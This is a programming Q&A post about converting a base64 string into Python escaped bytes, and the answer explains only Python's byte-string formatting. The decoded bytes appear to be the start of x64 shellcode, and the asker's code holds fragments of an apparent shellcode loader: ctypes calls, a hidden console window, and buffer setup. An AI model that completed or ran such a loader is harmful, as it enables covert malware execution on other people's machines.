I want to convert this base64 string to a byte string like this:
base64:
XHhjXHg0OFx4ODNceGU0XHgwXHhlOFx4Y2NceDAwXHgwMFx4MDBceDQxXA==
string byte:
\xc\x48\x83\xe4\x0\xe8\xcc\x00\x00\x00\x41\
I made this code:
bstring = "XHhjXHg0OFx4ODNceGU0XHgwXHhlOFx4Y2NceDAwXHgwMFx4MDBceDQxXHg1MVx4NDFceDUwXHg1Mlx4NTFceDU2XHg0OFx4MzFceGQyXHg2NVx4NDhQxXHhhXHgwXHgyXHgwXHgzMFx4XHhkNVx4NTdceDU5XHg0MVx4YVx4NzVceDZlXHg0ZFx4NjFceFx4ZDVceDQ5XHhceGNlXHhlOVx4M2NceFx4XHhceDQ4X"
decoded = base64.b64decode(bstring)
buffery = ''.join('\\x{:02x}'.format(b) for b in decoded)
print(buffery)
#with open('shell', 'r') as f:
#null
def main():
#null
#ct.windll.user32.ShowWindow(ct.windll.kernel32.GetConsoleWindow(), 0)
#null
sleep(1)
#null
void_type = ct.c_void_p
len_buffery = ct.c_int(len(buffery))
And this is the output:
b'\\xc\\x48\\x83\\xe4\\x0\\xe8\\xcc\\x00\\x00\\x00\\x41\\'
So this is the problem. I don't wanna double slash and b'' so how can I convert it like this (I need byte): \xc\x48\x83\xe4\x0\xe8\xcc\x00\x00\x00\x41\
?
As Michael M. said, the output you are getting is Python's representation of the byte string. If you want to see it exactly like you want it, try this:
bstring = "XHhjXHg0OFx4ODNceGU0XHgwXHhlOFx4Y2NceDAwXHgwMFx4MDBceDQxXA=="
decoded = base64.b64decode(bstring)
hex_string = ''.join('\\x{:02x}'.format(b) for b in decoded)
print(hex_string) # outputs: \x5c\x78\x63\x5c\x78\x34\x38\x5c\...